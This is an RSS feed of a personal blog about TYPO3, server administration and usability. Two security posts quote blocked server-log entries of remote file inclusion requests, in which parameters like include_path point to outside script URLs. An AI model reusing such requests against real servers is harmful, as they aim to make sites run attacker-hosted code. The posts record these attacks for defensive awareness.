<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		
		<title>Dmitry Dulepov</title>
		<link>http://dmitry-dulepov.com/</link>
		<description>A digitized look to the Universe</description>
		<language>en</language>
		<image>
			<title>Dmitry Dulepov</title>
			<url>http://dmitry-dulepov.com/typo3conf/ext/tt_news/ext_icon.gif</url>
			<link>http://dmitry-dulepov.com/</link>
			<width>18</width>
			<height>16</height>
			<description>A digitized look to the Universe</description>
		</image>
		<generator>TYPO3 - get.content.right</generator>
		<docs>http://blogs.law.harvard.edu/tech/rss</docs>
		
		
		
		<lastBuildDate>Tue, 09 Mar 2010 17:43:00 +0200</lastBuildDate>
		
		
		<item>
			<title>New &quot;Magento development&quot; book</title>
			<link>http://dmitry-dulepov.com/article/new-magento-development-book.html</link>
			<description>If you are a developer interested in Magento e–commerce platform, here is the best Magento development book for you, reviewed by me :)</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/new-magento-development-book.html</guid>
			<content:encoded><![CDATA[<p>If you are a developer interested in Magento e–commerce platform, here is <a href="http://dmitry-dulepov.com/reviews/magento-13-php-developers-guide-by-jamie-huskisson.html" title="Opens internal link in current window" class="internal-link" >the best Magento development&nbsp;book</a> for you, reviewed by me :)</p>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Tue, 09 Mar 2010 17:43:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>Farewell, TemplaVoila!</title>
			<link>http://dmitry-dulepov.com/article/farewell-templavoila.html</link>
			<description>As of today I am no longer managing or developing the famous TYPO3 TemplaVoila extension. I decided to quit the development and lead because my views on the development, purpose and perspective of this extension does not agree with other developers in the team. Being democratic I prefer to leave than to stay on the way of others.
It happened so... (Continued on the web site)</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/farewell-templavoila.html</guid>
			<content:encoded><![CDATA[<p>As of today I am no longer managing or developing the famous TYPO3 TemplaVoila extension. I decided to quit the development and lead because my views on the development, purpose and perspective of this extension does not agree with other developers in the team. Being democratic I prefer to leave than to stay on the way of others.</p>
<p>It happened so that I was a sole TemplaVoila development for three years. I spent numerous hours of my own time fixing bugs and implementing new features. I never got a cent for it, it was always a pure enthusiasm. Nobody sponsored or supported this work.&nbsp;The reality of the open source world: you create, others use, you stay away.</p>
<p>Today I announced that TemplaVoila 1.4.2 will not be released any soon because of the major bugs in it. I was immediately accused of “stopping progress” by two different people. All these years of hard work meant nothing it seems. I was very much stressed by such views. I can’t bear that. And I won’t. Quality means very much to me but I am not going to listen to any more accusations. I would rather drop the project completely than being accused of stopping progress because I want to release a quality product. I am tired to fight for the quality!</p>
<p>I think TemplaVoila was the best that happened to TYPO3. To me my latest 1.3.x version would be still the best one: slim, small, fast, free of unnecessary clatter and cheap looking plastic icons. I am going to use 1.3 for my own projects from now on. I am going to host it on Google code and fix bugs and make it compatible with newer TYPO3 version as they are released. The official version is to be continued by other people. Since now I have absolutely no relation to TemplaVoila. My name will be removed from the extension soon.</p>
<p>Long live to you, TemplaVoila! Have a good future! Good bye!</p>]]></content:encoded>
			<category>TYPO3</category>
			
			
			<pubDate>Wed, 03 Mar 2010 19:33:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>Apple Airport Extreme error -6753</title>
			<link>http://dmitry-dulepov.com/article/apple-airport-extreme-error-6753.html</link>
			<description>What to do if you got error -6753 from the AirPort Utility</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/apple-airport-extreme-error-6753.html</guid>
			<content:encoded><![CDATA[<p>You reset your Apple&nbsp;AirPort Extreme or Time Capsule. You try to connect with AirPort Utility. You&nbsp;get&nbsp;error -6753. You google for it and find that lots of people has this problem but nobody seem to have a solution.</p>
<p>Well, I do.</p>
<p> The solution to this common problem&nbsp;is: enable IPv6 in your wireless&nbsp;network settings (on your computer with AirPort Utility). You will be able to connect to your device. It is because fresh AirPort Extreme (or Time Capsule) use IPv6, not IPv4.</p>
<p>It took me three hours to figure this out. However it is 100% working solution in my case: no IPv6 — no connection to a clean AirPort Extreme or Time Capsule.</p>
<p>Enjoy!</p>
<p>&nbsp;</p>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Wed, 17 Feb 2010 23:15:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>Vodafone usability mistake</title>
			<link>http://dmitry-dulepov.com/article/vodafone-usability-mistake.html</link>
			<description>Use Vodafone Mobile Broadband software with my USB modem to connect to the Internet when I work in café (I usually write something in café in the morning). Every time when I plug the modem, this software pops up and prompts me to connect. The software is cool, beautifully designed and very friendly. All is cool except one small detail. Have a look... (Continued on the web site)</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/vodafone-usability-mistake.html</guid>
			<content:encoded><![CDATA[<p>Use Vodafone Mobile Broadband software with my USB modem to connect to the Internet when I work in café (I usually write something in café in the morning). Every time when I plug the modem, this software pops up and prompts me to connect. The software is cool, beautifully designed and very friendly. All is cool except one small detail. Have a look at the picture:</p>
<p class="align-center"><img src="http://dmitry-dulepov.com/fileadmin/article-images/usability/vodafone-usability-mistake.png" width="644" height="394" alt="" /></p>
<p>As you see there is a prompt to connect (I wish it just could connect without asking!). Two buttons are selected in some way: one has full glow, another has outer glow. It means that one of the will act on space key, the other – on Enter key. Which one will act on what key? This question always makes me stop and think. Remembering excellent Steve Krug's book named &quot;<a href="http://dmitry-dulepov.com/reviews/dont-make-me-think-by-steve-krug.html" title="Opens internal link in current window" class="internal-link" >Don't make me think</a>&quot;, I see such selection as a usability mistake by Vodafone. Obviously I wish to connect if I plugged in my modem! But how do I do that without pressing wrong button and without&nbsp;using mouse? I have to think for 10 or more second and guess that Enter key will probably apply the fully glowing button. May be it will, yeah. May be... What if not? I never try to remember such details because they take my brain's RAM and they are not what I should be thinking of. My experience should be different in this case: the program should provide a single selection, which is the most appropriate and desired by the user. Which one? Obviously to connect! Why else would I plug the modem?</p>
<p>This kind of mistakes quite common. It comes from the programmer's wish to give more choices to the user. Good wish but wrong. It makes people think to make the choice to the obvious one.</p>
<p>Don't make me think, Vodafone!</p>]]></content:encoded>
			<category>Usability</category>
			
			
			<pubDate>Wed, 17 Feb 2010 08:27:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>Release of TemplaVoila 1.4.2 is approaching</title>
			<link>http://dmitry-dulepov.com/article/release-of-templavoila-142-is-approaching.html</link>
			<description>TemplaVoila version 1.4.2 is approaching. I must tell that I did not work on this version. Entire work was done by Steffen Kamper and Tolleiv Nietsch (from AOE Media). There are bug fixes and lots of enhancements.
We had certain problems in the previous version. There were serious bugs and this release should solve the most annoying of them.... (Continued on the web site)</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/release-of-templavoila-142-is-approaching.html</guid>
			<content:encoded><![CDATA[<p>TemplaVoila version 1.4.2 is approaching. I must tell that I did not work on this version. Entire work was done by Steffen Kamper and Tolleiv Nietsch (from AOE Media). There are bug fixes and lots of enhancements.</p>
<p>We had certain problems in the previous version. There were serious&nbsp;bugs and this release should solve the most annoying of them. I am going to take&nbsp;quality assurance role in TemplaVoila development and leave&nbsp;coding&nbsp;work to others. The reason for this is that I got everything I need in TemplaVoila. Other people have more ideas for extending the functionality than I do. Therefore I give them freedom to add features as they see fit. QA should be my main task for TemplaVoila from now on.</p>
<p>I expect to work on QA for TemplaVoila&nbsp;some time this week (depending on my load with other tasks). If everything goes well, we should have TemplaVoila 1.4.2 out very soon.</p>]]></content:encoded>
			<category>TYPO3</category>
			
			
			<pubDate>Mon, 15 Feb 2010 08:56:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>No thumbnails in TYPO3? Check ImageMagick!</title>
			<link>http://dmitry-dulepov.com/article/no-thumbnails-in-typo3-check-imagemagick.html</link>
			<description>Checking TYPO3 ImageMagic installation: how to see if everything works and repair problems</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/no-thumbnails-in-typo3-check-imagemagick.html</guid>
			<content:encoded><![CDATA[<p>I upgraded my server to a newer version of Linux in December. Today I suddenly noticed that I see &quot;No image generated&quot; yellow banner across all images in the TYPO3&nbsp;backend.</p>
<p>Normal steps in such cases would be to go and check ImageMagick installation using the TYPO3&nbsp;Install tool:</p>
<p class="align-center"><img src="http://dmitry-dulepov.com/fileadmin/article-images/install-tool/install-tool-image-01-z.png" width="475" height="344" alt="" /></p>
<p>There is a special section there for image tests:</p>
<p class="align-center"><img src="http://dmitry-dulepov.com/fileadmin/article-images/install-tool/install-tool-image-02-z.png" width="502" height="202" alt="" /></p>
<p>Basic tests for reading graphics formats told me that <span class="inline-code">convert</span> did not produce any results.</p>
<p>I know what it means. I run Apache in the chrooted environment and after upgrades copies of ImageMagick in the chroot jail are not the same as outside of it. So I upgraded binaries in the jail but it did not change anything. Hmmmm.</p>
<p>I went to chroot jail and tried to call <span class="inline-code">convert</span> from there. Here is what I got:</p>
<p class="csc-frame-frame1">convert: UnableToOpenConfigureFile `delegates.xml' @ configure.c/GetConfigureOptions/553.</p>
<p><span class="inline-code">delegates.xml</span> is a file that contains ImageMagick configuration for image conversions with external programs. So it must be missing. I checked <span class="inline-code">/usr/share/ImageMagic-x.y.z</span>&nbsp;and that directory was empty.</p>
<p>&quot;This is easy&quot; I thought. I reinstalled ImageMagick and ran <span class="inline-code">convert</span> again. Huh? Same error? Checking the directory: it is still empty.</p>
<p>Finally I managed to solve it. I had to delete ImageMagick completely with all its dependencies and install it fresh. Than it worked. Now I have my thumbnails again!</p>]]></content:encoded>
			<category>TYPO3</category>
			
			
			<pubDate>Fri, 29 Jan 2010 12:12:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>Extension updates: pagepath and dd_googlesitemap</title>
			<link>http://dmitry-dulepov.com/article/extension-updates-pagepath-and-dd-googlesitemap.html</link>
			<description>Two extensions were updated to ensure compatibility with TYPO3 4.3: pagepath and dd_googlesitemap. Thanks to sponsoring of updates!
There are also several bug fixes. One major of them is Google news sitemap format change. Previous version of dd_googlesitemap used obsolete format, which was not accepted by Google anymore. Also sitemap now... (Continued on the web site)</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/extension-updates-pagepath-and-dd-googlesitemap.html</guid>
			<content:encoded><![CDATA[<p>Two&nbsp;extensions were updated to ensure compatibility with TYPO3 4.3: pagepath and dd_googlesitemap. Thanks to sponsoring of updates!</p>
<p>There are also several bug fixes. One major of them is Google news sitemap format change. Previous version of dd_googlesitemap used obsolete format, which was not accepted by Google anymore. Also sitemap now works with shortcuts: the feature many people wanted so much.</p>
<p>Enjoy!</p>
<p>P.S. Did you know that you can <a href="http://dmitry-dulepov.com/donate.html" title="Opens internal link in current window" class="internal-link" >send me a donation</a> too? ;)</p>]]></content:encoded>
			<category>TYPO3</category>
			
			
			<pubDate>Fri, 22 Jan 2010 13:11:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>How to repair a broken YaST online update in SuSE 11.2</title>
			<link>http://dmitry-dulepov.com/article/how-to-repair-a-broken-yast-online-update-in-suse-112.html</link>
			<description>One of the last YaST2-ncurses packages renders YaST2 online update and software management in SuSE Linux 11.2 unusable. Online update just exists back into the menu. If you want to fix it, follow these instructions:</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/how-to-repair-a-broken-yast-online-update-in-suse-112.html</guid>
			<content:encoded><![CDATA[<p>One of the last <span class="inline-code">YaST2-ncurses</span> packages renders YaST2 online update and software management in SuSE Linux 11.2 unusable. Online update just exists back into the menu. If you want to fix it, follow these instructions:&nbsp;</p><ul><li>Mount your install DVD. In my case it looks like:<br /><span class="Apple-style-span inline-code">mkdir /mnt.dist<br />mount -o loop /mnt/distro/opensuse-11.2-x86_64.iso /mnt/dist<br /></span></li><li>Change path to RPM packages location. In my case:<br /><span class="Apple-style-span inline-code">cd /mnt/dist/suse/x86_64</span></li><li>Restore original packages. In my case:<br /><span class="Apple-style-span inline-code">rpm -Uvh --force yast2-ncurses-pkg-2.18.4-2.9.x86_64.rpm<br />rpm -Uvh --force yast2-ncurses-2.18.10-2.1.x86_64.rpm<br /></span></li></ul><p>That's all. Now you can use online update. It will propose you yast2-ncurses fix, which you should install.&nbsp;</p>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Thu, 21 Jan 2010 20:42:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>Avoid your personal &quot;Aurora operation&quot;</title>
			<link>http://dmitry-dulepov.com/article/avoid-your-personal-aurora-operation.html</link>
			<description>I am not a Microsoft Windows user. I was quite indifferent to the latest Microsoft Internet Explorer scandal that causes break in to Google, Adobe and many other major companies (the “Aurora operation”). However posts and articles about this event pop up so often, that they are very hard to ignore.
Yesterday I read a phrase that made me think a... (Continued on the web site)</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/avoid-your-personal-aurora-operation.html</guid>
			<content:encoded><![CDATA[<p>I am not a Microsoft Windows user. I was quite indifferent to the latest Microsoft Internet Explorer scandal that causes break in to Google, Adobe and many other major companies (the “<a href="http://securitylabs.websense.com/content/Blogs/3530.aspx?cmpid=pr" title="Technical information about the 'Aurora Operation'" target="_blank" class="external-link-new-window" >Aurora operation</a>”). However posts and articles about this event pop up so often, that they are very hard to ignore.</p>
<p>Yesterday I read a phrase that made me think a lot about the way how we develop software. The source was not in English and it is hard to make a precise translation. The phrase sounds like this: “Software will be always vulnerable while it is written by humans”.</p>
<p>Why did this phrase caught me? For several reasons.</p>
<p>Firsts, I immediately remembered many extensions that I saw in the past with trivial security problems. It is so easy to avoid them and yet people still write it insecurely.</p>
<p>Secondly, I remembered an episode from the TV series called “Terminator: Sarah Connor Chronicles”. There is a scene where the artificial intelligence named John Henry talks to former FBI agent Ellison about a recent hack attempt:</p><div class="indent"><p><i>John Henry: I've traced the roving back door that allowed access to my systems. It uploaded itself from one of the main T3 hubs that carry all global internet traffic.</i></p>
<p><i>Agent Ellison: It uploaded itself?</i></p>
<p><i>John Henry: Yes, Mr. Ellison. It is highly sophisticated. The intelligence who designed it is far beyond you, or Mr. Murch, or any human being.</i> </p></div><p>John Henry was able to resist the attack using its own intellect. I guess it would be able to learn and prevent such attack in future forever.</p>
<p class="align-center"><img alt="John Henry talks" height="319" width="374" src="http://dmitry-dulepov.com/fileadmin/article-images/AI/john-henry.jpg" /></p>
<p class="align-center"><i>John Henry talks to agent Ellison.</i></p>
<p>Unlike John Henry, most of us, humans, learn nothing.</p>
<p>The attack used on the Internet Explorer, is one of the classic ones for this software. Internet Explorer tries to access a method of the object, which is already freed. This is not the first (and surely not the last) time when Internet Explorer does that. Microsoft even built “Data Execution Prevention” feature in Windows trying to guard the system from its own software.</p>
<p>All these facts and thoughts made me think: why we, humans, are so irresponsible? Why can't we write the software like John Henry would: securely, applying our knowledge to every line of code we write? Or, may be, we can?</p>
<h2>Computer logic vs human brain</h2>
<p>Computers has several unique feature that makes them better than humans in certain areas.</p>
<p>Computers do not forget. Computers always apply techniques they are told to apply.</p>
<p>Humans are different. They are creative from one side, lazy from another (yes, everybody is lazy!) and chaotic from the third side. Humans are not like computers, they like to create and see results faster, even if it their creation is not built well enough (“it works, what else do you need?”).</p>
<p>Can we combine all good features that computers have with all good features that humans have?</p>
<p>I think we can.</p>
<h2>Human brain as a CPU</h2>
<p>In another episode John Henry said: “The human brain is an amazing computer. It's raw clock speed is 20 billion calculations per second. It's storage is functionally infinite”. That makes 20Ghz  CPU plus unlimited memory: far more than modern computer can offer today! The only two things we miss in our wonderful CPU is patients and responsibility.</p>
<p>Both these qualities can be trained. People, who professionally works with computer programming for years, can be self–trained in a very fast way. The unfortunate effect of such training is that their thinking becomes less human and more computer–like (one/zero, white/black, good/bad, secure/insecure, optimal/unoptimal, right/wrong). It is harder to talk with such people but they are far more responsible in any aspect of the life and they are better professionals. Is it worth becoming less human? I cannot answer such question because it is a personal decision for everyone. It is definitely harder to communicate with the rest of the human world when you see how unoptimal they behave. It is harder to forgive yourself for unoptimal behavior or mistakes. But with each mistake you become more clever and learn how not to make the same mistake again. Life becomes easier in certain aspects.</p>
<h2>How to become more responsible</h2>
<p>So you want to become more responsible? Right... It is very hard at the beginning. Not everyone can. In fact, most people can't.</p>
<p>If you decide to do it, it is a lifelong decision. One you start practicing it, you cannot turn back because it becomes your lifestyle.</p>
<p>You have to stop running first. No, I do not talk about your morning runs around the park. Continue those! I mean: stop running in this life. Stop and see around. Is there anything you do in hurry all the time? Is there anything that deserves a better, more careful look? I bet there is. Think of it.</p>
<p>Start doing it properly, without hurrying. If you do cleaning, do it properly. Clean on the top of that wardrobe, it was not cleaned for ages and have heaps of dust on the top! If you drive the car, follow driving rules precisely. If you write programs, be paranoid and apply security checks and validate your objects everywhere. Just do it all the time regardless of how fast you want to skip it!</p>
<p>You will notice that it pays back. You will not forget to go to a meeting because you read an interesting article. Your mentality changes when you stop running and follow the “right way to do stuff”. It slower than doing it “the fast way” in short term perspective but it is much faster than doing it in long term perspective (you do not have to recover from mistakes made long time ago).</p>
<p>Let me give you a simple example.</p>
<p>I have a daughter. She is six and she goes to school. As many children of this age, she like to make her home work fast and go playing with toys. However fast in her case means inaccurate. Therefore, when we check here home work, she has to redo it. She again does it fast and has to redo it again and again. We tell her every time that she should do it once accurately and then she can play her toys for the rest of the day instead of redoing the same stuff for hours. Once she did it snower and accuratey. It was half an hour longer than her usual “fast” work but she did not have to redo it for hours later. She liked it. But she is too small to have patients to do it well every time.</p>
<p>Are we different from my six year girl? No, we aren't. We always run. We do not escape parameters that we get from users in order to finish that software faster. We do not read bank loan agreements because it may take 10 minutes but we want to get a cheeseburger ASAP. Later we discover catches in that agreement but it is too late. Was the cheeseburger worth it? No, it wasn't. It is our fault that we run for the cheeseburger!</p>
<p>So if you would like to make your life better, than stop running! Do it properly from the first time!</p>
<p>I believe we can do it. I believe we can beat computers in this.</p>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Thu, 21 Jan 2010 10:53:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>Using XDebug helper plugin with FireFox 3.5.7</title>
			<link>http://dmitry-dulepov.com/article/using-xdebug-helper-plugin-with-firefox-357.html</link>
			<description>How to enable XDebug helper plugin in the FireFox 3.5.7 or newer</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/using-xdebug-helper-plugin-with-firefox-357.html</guid>
			<content:encoded><![CDATA[<p>Recently my FireFox automatically updated itself and disabled XDebug helper plugin, which I use to debug PHP scripts with Komodo IDE. While it is possible to start debugging by adding <span class="inline-code">XDEBUG_START_DEBUG=1</span> to the URL, it is not very convenient when debugging such framed applications as TYPO3 Backend.</p>
<p>There is no update for this plugin. Even worse: it is disappeared from the list of FireFox plugins. Fortunately I have it locally and managed to cheat FireFox to recognize this plugin as valid.</p>
<p>It is quite simple. Firsts, you need to shutdown FireFox. Next you need to go to the <span class="inline-code">extensions/</span> subdirectory of your FireFox profile. On Mac it is in <span class="inline-code">~/Library/Application Support/Firefox/Profiles/ff3.default</span>. In the <span class="inline-code">extensions/</span> you will see <span class="inline-code">xdebughelper@mail.ru</span> and <span class="inline-code">install.rdf</span> inside it. Open this file in the text editor. You need to change two values there:</p><ul><li>set <span class="inline-code">em:maxVersion</span> to&nbsp;<span class="inline-code">3.*</span></li><li>increase <span class="inline-code">em:version</span></li></ul><p>Start FireFox and you have XDebug icons in FireFox again!</p>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Mon, 18 Jan 2010 20:54:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>mod_security book review</title>
			<link>http://dmitry-dulepov.com/article/mod-security-book-review.html</link>
			<description>Some time ago Packt Publishing published a book about mod_security. Since I use mod_security very actively to protect servers, I decided to get this book and write a review.
Here it is.</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/mod-security-book-review.html</guid>
			<content:encoded><![CDATA[<p>Some time ago Packt Publishing published a <a href="http://www.packtpub.com/modsecurity-2-5/mid/301109bmf47p?utm_source=dmitry-dulepov.com&amp;utm_medium=affiliate&amp;utm_content=authorsite&amp;utm_campaign=mdb_001648" title="mod_securty book page" target="_blank" class="external-link-new-window" >book about mod_security</a>. Since I use mod_security very actively to protect servers, I decided to get this book and write a review.</p>
<p><a href="http://dmitry-dulepov.com/reviews/modsecurity-25-by-magnus-mischel.html" title="Opens internal link in current window" class="internal-link" >Here it is</a>.</p>]]></content:encoded>
			<category>Security</category>
			
			
			<pubDate>Sun, 10 Jan 2010 17:23:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>Komodo IDE, XDebug and superglobals</title>
			<link>http://dmitry-dulepov.com/article/komodo-ide-xdebug-and-superglobals.html</link>
			<description>How to activate superglobals in Komodo IDE with XDebug</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/komodo-ide-xdebug-and-superglobals.html</guid>
			<content:encoded><![CDATA[<p>If you, like me, prefer Komodo IDE for PHP development, you may have noticed that superglobals (<span class="inline-code">$_GET</span>, <span class="inline-code">$_POST</span>, etc) are absent from &quot;Superglobals&quot; tab in debug window. If you have this problem, update to the latest PECL version of XDebug:</p>
<p class="csc-frame-frame1">sudo pecl update xdebug</p>
<p>Superglobal will magically appear. Do not forget to restart Apache:</p>
<p class="csc-frame-frame2">sudo apachectl restart</p>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Wed, 06 Jan 2010 07:11:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>Extracting text from HTML body</title>
			<link>http://dmitry-dulepov.com/article/extracting-text-from-html-body.html</link>
			<description>Shows a regular expression to extract body part of the HTML content</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/extracting-text-from-html-body.html</guid>
			<content:encoded><![CDATA[<p>Do you know how to extract text from the HTML <span class="inline-code">&lt;body&gt;</span> tag with one regular expression? Here it is:</p>
<p class="csc-frame-frame2">function extractBody($htmlContent) {<br />&nbsp;&nbsp;&nbsp;&nbsp;$result = '';<br />&nbsp;&nbsp;&nbsp;&nbsp;$regExp = '/.*&lt;body[^&gt;]*&gt;(.*)&lt;\/body&gt;.*/is';<br />&nbsp;&nbsp;&nbsp;&nbsp;if (preg_match($regExp, $htmlContent)) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$result = trim(preg_replace($regExp, '\1', $htmlContent));<br />&nbsp;&nbsp;&nbsp;&nbsp;	}<br />&nbsp;&nbsp;&nbsp;&nbsp;return $result;<br />}</p>
<p>Note that you have to use &quot;i&quot; and &quot;s&quot; modifiers, otherwise this regular expression will not work in all cases. &quot;i&quot; modifier helps to detected <span class="inline-code">&lt;body&gt;</span> tag in mixed or upper case. &quot;s&quot; modifier forces regular expression to work correctly with new line characters.</p>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Mon, 04 Jan 2010 09:40:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>Small performance enhancement tip</title>
			<link>http://dmitry-dulepov.com/article/small-performance-enhancement-tip.html</link>
			<description>Improving web server performance using NSCD (name space caching daemon)</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/small-performance-enhancement-tip.html</guid>
			<content:encoded><![CDATA[<p>Do you have your own server? Does TYPO3 run slow? Would you like to try a simple step to improve the speed? Here it is.</p>
<p>Check if you have NSCD installed. NSCD is a caching daemon for DNS lookups. Even if you have HostnameLookups off in the Apache configuration, Apache still does look ups from time to time for internal reasons. If you do not have NSCD, it may take lots of seconds (especially if host does not exist). With properly configured NSCD it will be much faster.</p>
<p>Here is my NSCD configuration regarding DNS lookups:</p>
<p class="csc-frame-frame2">enable-cache		hosts		yes<br />positive-time-to-live	hosts		3600<br />negative-time-to-live	hosts		60<br />suggested-size		hosts		512<br />check-files		hosts		yes</p>
<p>This configuration means that NSCD will use caching for all DNS queries that applications on this system make. Note that applications do not have to be aware of NSCD. It is all automatic!</p>
<p>NSCD will cache resolved names for an hour and unresolved names for a minute. You can play with these parameters but do not increase time outs too much or NSCD will become a memory hog. I also set NSCD to check <span class="inline-code">/etc/hosts</span> file first. It is always faster than querying external DNS servers over network and you may want to put some of your hosts to that file.</p>
<p>In overal TYPO3 is much faster now, especially the Backend.</p>
<p>Happy caching! :)</p>]]></content:encoded>
			<category>TYPO3</category>
			
			
			<pubDate>Mon, 04 Jan 2010 09:25:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>Let's do something stupid!</title>
			<link>http://dmitry-dulepov.com/article/lets-do-something-stupid.html</link>
			<description>Examples of HTTP attacks caught by mod_security</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/lets-do-something-stupid.html</guid>
			<content:encoded><![CDATA[<p>Let's try some stupid HTTP requests to my server :)&nbsp;For example, this:</p>
<p>&nbsp;</p>
<p class="csc-frame-frame1">GET /article/advanced-guestbook-spam-blockin&amp;hellip;//admin.php?include_path=http://www.shoppingxxxsource.com/source/idxx.txt?? HTTP/1.1<br />Connection: close</p>
<p>or</p>
<p class="csc-frame-frame1">GET /article/advanced-guestbook-spam-blockin&amp;hellip;//admin.php?include_path=http://www.vnmhost.net/01.gif? HTTP/1.1<br />TE: deflate,gzip;q=0.3<br />Connection: TE, close<br />Host: dmitry-dulepov.com<br />User-Agent: Mozilla/5.0</p>
<p>or</p>
<p class="csc-frame-frame1">GET /article//admin.php?include_path=http://www.shoppingxxxsource.com/source/idxx.txt?? HTTP/1.1<br />Connection: close<br />Host: dmitry-dulepov.com<br />User-Agent: Mozilla/5.0</p>
<p>or</p>
<p class="csc-frame-frame1">GET /article/advanced-guestbook-spam-blocking.html//admin.php?include_path=http://www.shoppingxxxsource.com/source/idxx.txt?? HTTP/1.1<br />Connection: close<br />Host: dmitry-dulepov.com<br />User-Agent: Mozilla/5.0</p>
<p>I see requests like this daily in security logs of both my servers. They all are stopped by mod_security.</p>
<p>I wonder am I the only one who gets tons of this scum? :) If anybody else monitors his/her server security, you are welcome to share your &quot;statistics&quot; about these automated attacks to non–existing web applications.</p>]]></content:encoded>
			<category>Security</category>
			
			
			<pubDate>Sun, 22 Nov 2009 23:33:00 +0200</pubDate>
			
		</item>
		
		<item>
			<title>Persisting Korean spider, hack attempts</title>
			<link>http://dmitry-dulepov.com/article/persisting-korean-spider-hack-attempts.html</link>
			<description>Two examples of bad behaviour caught by mod_seucirty</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/persisting-korean-spider-hack-attempts.html</guid>
			<content:encoded><![CDATA[<p>After yesterday's incident with a <a href="http://dmitry-dulepov.com/article/stupid-bot-gets-banned.html" >stupid bot</a>, I thought I might give you more insight on what happens on the Net. Here is some interesting&nbsp;examples from mod_security2 logs on my server.</p>
<h3>Hacking attempt</h3>
<p>Here is a hacking attempt coming from a Russian AGAVA Internet provider:&nbsp;</p>
<p class="csc-frame-frame1">--8920bc48-A--<br />[13/Oct/2009:21:03:12 +0300] 3Auc3X8AAAIAACKqdxMAAACG 89.108.122.160 58387 213.21.217.206 80<br />--8920bc48-B--<br />GET /%20%20/?subdir=http://ihent.ru/id1.txt? HTTP/1.1<br />TE: deflate,gzip;q=0.3<br />Connection: TE, close<br />Host: xxx<br />User-Agent: Mozilla/5.0</p>
<p>Have a look to the referred script. This is one just outputs something but often there are very sophisticated scripts. I saw one which tried to fill hard disk with various random garbage until space was&nbsp;exhausted. This would make ssh logins and quick recovery impossible.</p>
<p>There were many requests like this one, all caught.</p>
<h3>Persisting spider</h3>
<p>Some Korean people seem not to understand that they are not welcome. <span class="inline-code">robots.txt</span> says they are not allowed to index the site. They still do it:&nbsp;</p>
<p class="csc-frame-frame1">--cde7352d-A--<br />[13/Oct/2009:21:01:16 +0300] 1SbJMn8AAAIAACJ4T0kAAABF 61.247.222.82 50325 213.21.217.206 80<br />--cde7352d-B--<br />GET /xxx HTTP/1.1<br />Host: xxx<br />Accept-Language: ja,en;q=0.5<br />User-Agent: Yeti/1.0 (NHN Corp.; <a href="http://help.naver.com/robots/" target="_blank" >help.naver.com/robots/</a>)<br />Connection: close<br />Accept: */*</p>
<p>I banned one /20 subnet, now they came from a broader one. Well, I'll continue banning them. What else can I do if I do not want them here?</p>]]></content:encoded>
			<category>Security</category>
			
			
			<pubDate>Wed, 14 Oct 2009 10:03:00 +0300</pubDate>
			
		</item>
		
		<item>
			<title>Stupid bot gets banned</title>
			<link>http://dmitry-dulepov.com/article/stupid-bot-gets-banned.html</link>
			<description>A story about good intentions used for bad purposes. A C# sample was used to create a stupid bot that tried to take my server down.</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/stupid-bot-gets-banned.html</guid>
			<content:encoded><![CDATA[<p>Today one bot, which identified itself as <span class="inline-code">Sean's Agent/1.0 (compatible; SA 1.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322;</span>&nbsp;made 10459 requests to one of my sites within two hours from the same IP address (<span class="inline-code">78.84.130.92</span>).&nbsp;The user agent comes from a <a href="http://www.codeproject.com/KB/cs/SeansDownloader.aspx" target="_blank" >C# sample</a>. This is a good example how good code can be used for bad purposes.</p>
<p> Looks like somebody stupid&nbsp;took this sample and tried to build some kind of bot with it. This bot tried to grab the site in a very&nbsp;aggressive&nbsp;way, requesting the same page many times. What did it earn in the end? A permanent ban for IP address and this user agent on all my servers.</p>]]></content:encoded>
			<category>Spam</category>
			
			
			<pubDate>Tue, 13 Oct 2009 20:13:00 +0300</pubDate>
			
		</item>
		
		<item>
			<title>Next version of RealURL is almost ready (1.6.0)</title>
			<link>http://dmitry-dulepov.com/article/next-version-of-realurl-is-almost-ready-160.html</link>
			<description>Version 1.6.0 of RealURL is coming. It supports PHP 5.3 and TYPO3 4.3. Testing is welcome!</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/next-version-of-realurl-is-almost-ready-160.html</guid>
